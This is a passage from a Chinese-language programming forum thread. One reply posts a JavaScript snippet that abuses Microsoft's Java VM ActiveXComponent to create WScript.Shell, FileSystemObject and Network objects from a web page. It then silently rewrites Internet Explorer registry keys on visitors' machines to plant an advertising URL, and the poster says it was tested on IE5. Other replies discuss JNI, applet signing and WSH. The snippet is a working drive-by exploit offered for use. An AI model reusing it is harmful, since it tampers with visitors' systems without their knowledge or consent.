簡單,用JavaScript就可以了!
研究以下代碼看看!--------------------------------------------------------------------
<SCRIPT Language="JavaScript" type="text/javascript">
<!--document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function f(){
var Tit
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com"); //寫鍵值
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com"); //寫鍵值Tit = Shl.RegRead("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title"); //讀鍵值
document.write(Tit);var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();// -->
</SCRIPT>
------------------------------------------------------------
我在LAN下測試過,沒問題,不過是在IE5下,IE6不知道行不行,你可以測試一下!
建议采用jni,如果需要在Applet中实现,还需要签名!
具体见:
http://www-900.ibm.com/developerWorks/java/j-merlin/index6.shtml
是微软vm的class,呵呵,微软的Java。
不是楼上哥们说的WindowHostScript,的确,用WHS实现比较简单,在html中用的话受到IE版本影响(漏洞)及安全级别影响,如果写成.vbs等就可以直接运行了。
建议用 java1.4的class。或者参考j++如何调用C的一个例子(倒霉,新版本的msdn都没有j++的内容了)。
这是规则表达式啊,大牛人.....